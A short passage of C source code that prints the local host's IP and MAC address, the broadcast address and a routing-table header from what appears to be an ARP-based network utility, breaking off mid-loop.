int i; printf("Local host:\n" "%20s (%02X:%02X:%02X:%02X:%02X:%02X) ", inet_ntoa(arps[0].ip), (unsigned __int8) arps[0].eth.ether_addr_octet[0], (unsigned __int8) arps[0].eth.ether_addr_octet[1], (unsigned __int8) arps[0].eth.ether_addr_octet[2], (unsigned __int8) arps[0].eth.ether_addr_octet[3], (unsigned __int8) arps[0].eth.ether_addr_octet[4], (unsigned __int8) arps[0].eth.ether_addr_octet[5]); printf("Broadcast: %s\n",inet_ntoa(local_bcast)); printf("Routing table:\n%20s%20s%20s\n","Network","Netmask","Gateway"); for (i=0;i